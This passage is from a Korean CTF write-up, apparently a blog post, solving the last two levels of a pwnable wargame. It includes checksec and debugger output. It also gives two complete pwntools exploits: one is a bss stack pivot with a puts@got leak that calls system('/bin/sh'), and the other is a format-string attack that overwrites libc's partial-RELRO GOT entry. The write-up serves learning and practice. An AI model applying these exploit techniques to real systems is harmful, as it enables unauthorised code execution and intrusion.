        puts("Goobye, Sir");
        exit(-1);
    }
    loop = 1;

    read(0, buf, 0x70);
    return 0;
}

 

 

이번에도 문제 이름처럼 pivot을 해야될 것 같다.

buf 변수를 통해 bof를 발생시킬 수 있는데 이번에도 leak 할 수 있는 곳이 없다.

또 bof를 발생시키고 다시 main으로 돌아오려고 해도 loop 변수 때문에 main 함수로 돌아올 수 없다.

 

On_the_Edge_of_Time@hsapce-io:~$ file pivot
pivot: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), 
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, 
BuildID[sha1]=5155605f172c5b5e3e72dd0a1cbb891b14b3c101, for GNU/Linux 3.2.0, not stripped

On_the_Edge_of_Time@hsapce-io:~$ checksec pivot
[*] '/home/On_the_Edge_of_Time/pivot'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
    
On_the_Edge_of_Time@hsapce-io:~$ cat /proc/sys/kernel/randomize_va_space 
2

 

FULL RELRO, ASLR이 설정되어 있다.

 

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File
          0x400000           0x401000 r--p     1000      0 /home/On_the_Edge_of_Time/chall
          0x401000           0x402000 r-xp     1000   1000 /home/On_the_Edge_of_Time/chall
          0x402000           0x403000 r--p     1000   2000 /home/On_the_Edge_of_Time/chall
          0x403000           0x404000 r--p     1000   2000 /home/On_the_Edge_of_Time/chall
          0x404000           0x405000 rw-p     1000   3000 /home/On_the_Edge_of_Time/chall
    0x7ffff7d87000     0x7ffff7d8a000 rw-p     3000      0 [anon_7ffff7d87]
    0x7ffff7d8a000     0x7ffff7db2000 r--p    28000      0 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7db2000     0x7ffff7f47000 r-xp   195000  28000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7f47000     0x7ffff7f9f000 r--p    58000 1bd000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7f9f000     0x7ffff7fa0000 ---p     1000 215000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7fa0000     0x7ffff7fa4000 r--p     4000 215000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7fa4000     0x7ffff7fa6000 rw-p     2000 219000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7fa6000     0x7ffff7fb3000 rw-p     d000      0 [anon_7ffff7fa6]
    0x7ffff7fbb000     0x7ffff7fbd000 rw-p     2000      0 [anon_7ffff7fbb]
    0x7ffff7fbd000     0x7ffff7fc1000 r--p     4000      0 [vvar]
    0x7ffff7fc1000     0x7ffff7fc3000 r-xp     2000      0 [vdso]
    0x7ffff7fc3000     0x7ffff7fc5000 r--p     2000      0 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7fc5000     0x7ffff7fef000 r-xp    2a000   2000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7fef000     0x7ffff7ffa000 r--p     b000  2c000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7ffb000     0x7ffff7ffd000 r--p     2000  37000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7ffd000     0x7ffff7fff000 rw-p     2000  39000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffffffde000     0x7ffffffff000 rw-p    21000      0 [stack]
0xffffffffff600000 0xffffffffff601000 --xp     1000      0 [vsyscall]

 

vmmap으로 확인해보니 bss에 쓰기 권한이 설정되어 있어 해당 부분에 pivot을 하여 진행하면 될 것 같다.

 

from pwn import *

p = process('./pivot')
e = ELF('./pivot')
libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')

pop_rdi = 0x4011e5
ret = 0x4011e6

puts_got = e.got['puts']
puts_plt = e.plt['puts']

payload = b'A'*(0x30)
payload += p64(0x404f00)
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(0x401260) # read (main)

p.sendafter(b'laboratory.\n', payload)

puts = u64(p.recv(6) + b'\x00' * 2)
libc_base = puts - libc.sym['puts']
print(hex(libc_base))
system = libc_base + libc.sym['system']
shell = libc_base + list(libc.search(b'/bin/sh'))[0]

payload = b'A'*(0x30 + 8)
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(shell)
payload += p64(system)

p.send(payload)

p.interactive()

 

다음과 같이 익스를 작성했다.

먼저 read 함수에서 0x30을 입력한 뒤 bss 영역인 0x404f00을 입력하여 saved rbp를 덮어쓰고 ROP chain으로 puts@got를 leak 한다. leak한 puts@got를 통해 libc base 주소를 구할 수 있다. 이후 다시 main 내부에 read 함수 부분으로 리턴하여 bss 영역에 값을 입력할 수 있으므로 bss에 ROP chain을 구성한다. 두 번째 read 함수가 끝나고 main 함수가 끝나며 leave 할 때 rsp가 rbp 값을 갖고 pop 하여 return address를 받는데 이 때 return address는 입력해놓은 ROP chain의 시작점인 ret을 의미한다.

결국 스택이 bss로 pivot 되어 bss 영역에 입력해둔 ROP chain이 실행되면서 system("/bin/sh")이 호출된다.

 

 

익스를 실행하여 비밀번호를 획득했다.

bss_is_useful

CH. 10

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
/*
    Full mitigation
    Stack is unsafe & fprintf is Substitutional way of print string
    But you have writable place
*/
int all_time;
int OTP_flag = 0;
int count;
int mode;
FILE *access_log;

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
}


void gadget() {
    asm("pop %rdi; ret");
    asm("pop %rsi; pop %r15; ret");
    asm("pop %rdx; ret");
}
char print_checkpass() {
    puts("Enter your password");
    printf("Password : ");
    return 0;
}

char check_passwd(char *passwd, int mode) {
    print_checkpass();
    int acss_ok = -1;
    access_log = fopen("access.log", "a");

    read(0, passwd, 100);
    // passwd[strlen(passwd)] = '\x00';
    switch(mode) {
    case 0:
        fprintf(access_log, "Lord Of BOF : ");
        fprintf(access_log, passwd);
        break;
    case 2:
        // Doctor
        fprintf(access_log, "   Doctor   : ");
        fprintf(access_log, passwd);
        // printf(passwd);
        break;
    default:
        fprintf(access_log, "Undefined User, Error\n");
        // break;
        return 0;
    }

    if (!strncmp(passwd, "9a9f3a5a6230124a1770cc20097db3713454343a", 40)) {
        // lordofbof sha1
        acss_ok = 0;
        fprintf(access_log, " -> Correct!");
        // return 0;
    } else if(!strncmp(passwd, "1f0160076c9f42a157f0a8f0dcc68e02ff69045b", 40)) {
        // doctor sha1
        acss_ok = 2;
        fprintf(access_log, " -> Correct!");
        // return 1;
    } else {
        acss_ok = -1;
        fprintf(access_log, " -> Incorrect!");
        // return 3;
    }

    fprintf(access_log, "\n");
    fclose(access_log);
    return acss_ok;
}

char check_id(char *str_adr) {
    printf("Your ID : ");
    read(0, str_adr, 0x20);
    if (!strncmp(str_adr, "Lord Of Buffer overflow", 23)) {
        return 0;
    } else if(!strncmp(str_adr, "Zombie", 6)) {
        return 1;
    } else if(!strncmp(str_adr, "Doctor", 6)) {
        return 2;
    } else {
        return 3;
    }
}

int main(int argc, char const *argv[]) {
    initialize();
    // stack high
    char welcome[28] = "For vaccine, Enter One Time Passcode";
    char id_number[64];
    char password[0x40]; 
    count = 0;
    int chk_pw = -1;
    printf(welcome);
    puts("");
    printf("Enter ID Number");
    puts("");
    do {
        int chk = check_id(id_number);
        // only leak
        switch(chk) {
        case 0:
            // LOB
            printf("Lord Of BOF! ");
            chk_pw = check_passwd(password, 0);
            break;
        case 1:
            // Zombie
            printf("Zombie! ");
            puts("You Don't need Vaccine~");
            
            access_log = fopen("access.log", "a");
            fprintf(access_log, "Zombie : Denied");
            fclose(access_log);
            break;
        case 2:
            // Doctor
            printf("Doctor! ");
            puts("You can get Vaccine if you pwn");
            chk_pw = check_passwd(password, 2);
            break;
        case 3:
            printf(id_number);
            printf("!Invalid!\nTry Again\n");
            chk_pw = 0;

            access_log = fopen("access.log", "a");
            fprintf(access_log, "Invalid ID\n");
            fclose(access_log);
            break;
        default:
            puts(id_number);
            printf("Error! Enter Your ID Again!");
            chk_pw = 0;



            access_log = fopen("access.log", "a");
            fprintf(access_log, "ID Input Error\n");
            fclose(access_log);
            break;
        }

        if(chk_pw == -1) {
            puts(password);
        } else if(chk_pw == 0) {
            chk_pw = 0;
        } else {
            goto get_vaccine;
        }
        count++;
        if (count == 3) {
            puts("BOOM!! Find your ID");
            return 0;
        }
    } while (1);

get_vaccine:
    puts("No Vaccine");

    //     printf("adsf");
    return 0;
}

 

이번 문제는 Full mitigation이라고 한다..

이번 문제에서는 id_number 출력 부분과 check_passwd 함수에서 비밀번호를 입력했을 때 로그에 비밀번호를 저장하는 부분에서 포맷 스트링을 지정해주지 않아 fsb가 발생할 수 있다.

 

The_Cure_Within_Reach@hsapce-io:~$ file final
final: setuid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), 
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, 
BuildID[sha1]=98aafc11f39d67b48b97d16ee384f7c446566aa4, for GNU/Linux 3.2.0, not stripped

The_Cure_Within_Reach@hsapce-io:~$ checksec final
[*] '/home/The_Cure_Within_Reach/final'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
    
The_Cure_Within_Reach@hsapce-io:~$ cat /proc/sys/kernel/randomize_va_space 
2

 

진짜로 다 켜져있다.

그래서 fsb로 got overwrite를 할 생각이었는데 못하게 되었다.

어떻게 하지 막막했는데 찾아보고 하니 libc 파일은 Full RELRO가 아니기에 libc 파일에 있는 got를 overwrite할 수 있다는 것을 알았다.

 

The_Cure_Within_Reach@hsapce-io:~$ checksec /usr/lib/x86_64-linux-gnu/libc.so.6
[*] '/usr/lib/x86_64-linux-gnu/libc.so.6'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled

 

libc 파일은 partial RELRO인 것을 확인할 수 있다.

 

pwndbg> disassemble puts
Dump of assembler code for function __GI__IO_puts:
Address range 0x7ffff7e0ae50 to 0x7ffff7e0afe9:
   0x00007ffff7e0ae50 <+0>:	endbr64 
   0x00007ffff7e0ae54 <+4>:	push   r14
   0x00007ffff7e0ae56 <+6>:	push   r13
   0x00007ffff7e0ae58 <+8>:	push   r12
   0x00007ffff7e0ae5a <+10>:	mov    r12,rdi
   0x00007ffff7e0ae5d <+13>:	push   rbp
   0x00007ffff7e0ae5e <+14>:	push   rbx
   0x00007ffff7e0ae5f <+15>:	sub    rsp,0x10
   0x00007ffff7e0ae63 <+19>:	call   0x7ffff7db2490 <*ABS*+0xa86a0@plt>
   0x00007ffff7e0ae68 <+24>:	mov    r13,QWORD PTR [rip+0x198fc9]        # 0x7ffff7fa3e38
   0x00007ffff7e0ae6f <+31>:	mov    rbx,rax
   0x00007ffff7e0ae72 <+34>:	mov    rbp,QWORD PTR [r13+0x0]
   0x00007ffff7e0ae76 <+38>:	mov    eax,DWORD PTR [rbp+0x0]
   0x00007ffff7e0ae79 <+41>:	and    eax,0x8000
   0x00007ffff7e0ae7e <+46>:	jne    0x7ffff7e0aed8 <__GI__IO_puts+136>
   0x00007ffff7e0ae80 <+48>:	mov    r14,QWORD PTR fs:0x10
   0x00007ffff7e0ae89 <+57>:	mov    r8,QWORD PTR [rbp+0x88]
   0x00007ffff7e0ae90 <+64>:	cmp    QWORD PTR [r8+0x8],r14
   0x00007ffff7e0ae94 <+68>:	je     0x7ffff7e0af88 <__GI__IO_puts+312>
   .
   .
   .

 

puts 함수를 보면 함수 내부에 *ABS*+0xa86a0@plt 함수를 호출한다.

해당 함수가 바이너리의 plt가 아닌 libc 내부에 존재하는 plt stub를 호출하는 부분이다.

 

pwndbg> disassemble 0x7ffff7db2490
Dump of assembler code for function *ABS*+0xa86a0@plt:
   0x00007ffff7db2490 <+0>:	endbr64 
   0x00007ffff7db2494 <+4>:	bnd jmp QWORD PTR [rip+0x1f1bfd]        # 0x7ffff7fa4098 <*ABS*@got.plt>
   0x00007ffff7db249b <+11>:	nop    DWORD PTR [rax+rax*1+0x0]
End of assembler dump.

pwndbg> x/gx 0x7ffff7fa4098
0x7ffff7fa4098 <*ABS*@got.plt>:	0x00007ffff7f278a0

 

해당 주소를 fsb를 통해 got overwrite하는 방식으로 진행하면 될 것 같다.

 

fsb를 사용해야 하기 때문에 먼저 offset을 구해주었다.

입력값은 14번, return address는 33번으로 되어 있어  libc base 주소를 구할 수 있다.

동일 방법으로 password 입력 부분에서도 offset을 구했으며 27번이었다.

 

from pwn import *

p = process('./chall')
e = ELF('./chall')
libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')

context.log_level = 'debug'
# id index = 14
# return address index = 33

p.sendafter(b'ID : ', b'%33$p')
line = p.recvline()
print(line)
return_addr = int(line[2:14], 16)
print(hex(return_addr))
p.sendafter(b'ID : ', b'Lord Of Buffer overflow')

libc_base = return_addr - 0x29d90 
system = libc_base + libc.sym['system']
shell = libc_base + list(libc.search(b'/bin/sh'))[0]

# passwd index = 27

print(hex(system))

system_low = system & 0xffff
system_middle = (system >> 16) & 0xffff
system_high = (system >> 32) & 0xffff
ABS_got = libc_base + 0x21a098

hn1 = 0x10000 if system_low > system_middle else 0x0
hn2 = 0x10000 if system_middle > system_high else 0x0

payload = b''
payload += '%{}c'.format(system_low).encode()
payload += b'%32$hn'
payload += '%{}c'.format(hn1 + system_middle - system_low).encode()
payload += b'%33$hn'
payload += '%{}c'.format(hn2 + system_high - system_middle).encode()
payload += b'%34$hn'
payload += b'A' * (8 - len(payload)%8)
print(len(payload))

payload += p64(ABS_got)
payload += p64(ABS_got + 2)
payload += p64(ABS_got + 4)

p.sendafter(b"Password : ", payload)
p.sendafter(b"ID : ", b'Lord Of Buffer overflow')
p.sendafter(b"Password : ", b'/bin/sh\x00')

p.interactive()

 

다음과 같이 익스를 작성했다.

먼저 첫 번째 입력 때 return address를 leak 시켜 libc base 주소를 구했다.

그리고 Lord Of Buffer overflow로 로그인하는데 이유는 puts 함수 안에 있는 *ABS*+0xa86a0@got를 덮어쓸 것이기에 실행 흐름에서 id 입력 시 puts가 실행되는 Doctor와 Zombie를 제외했다. 그 후 Lord Of Buffer overflow의 비밀번호를 입력하는 부분에 %c%hn을 통해 *ABS*+0xa86a0@got를 system 함수 주소로 덮어썼다. 이 때 덮어써야 하는 값이 8바이트이기에 %hn을 통해 2바이트 씩 덮어썼다.

그 후 마지막 입력에서 동일하게 Lord Of Buffer overflow로 id를 주고 password에 /bin/sh\x00을 입력했다. \x00을 주지 않으면 %c 때문에 생기는 공백으로 인해 비밀번호가 "/bin/sh                       ..."이 된다.

 

 

익스를 실행하니 비밀번호를 획득할 수 있었다.

근데 이상하게 context.log_level = 'debug'를 안하면 final에서 익스가 안된다.. debug로 해도 될 때가 있고 안될 때가 있다.

final을 cp한 chall에선 한 번에 되는데.. final에선 랜덤으로 되서.. 될 때까지 실행했다.

All clear!!

 

이제 ./get_vaccine으로 실행해주면 엔딩 크레딧이 올라온다.


후기

포너블을 진짜 완전 처음하는데 너무 힘들었다.

AI를 사용안하고 공부하겠다고 다짐했어서 서칭도 하고 주변인들을 좀 많이 괴롭혔다. 애들아 미안.

그래도 너무 재밌게 문제를 풀어서 요즘 포너블에 흥미가 생겼고 포너블 문제만 계속 풀고 있다...

동아리 내 포너블 전도사가 됐다.

 

진심으로 너무  재밌었다.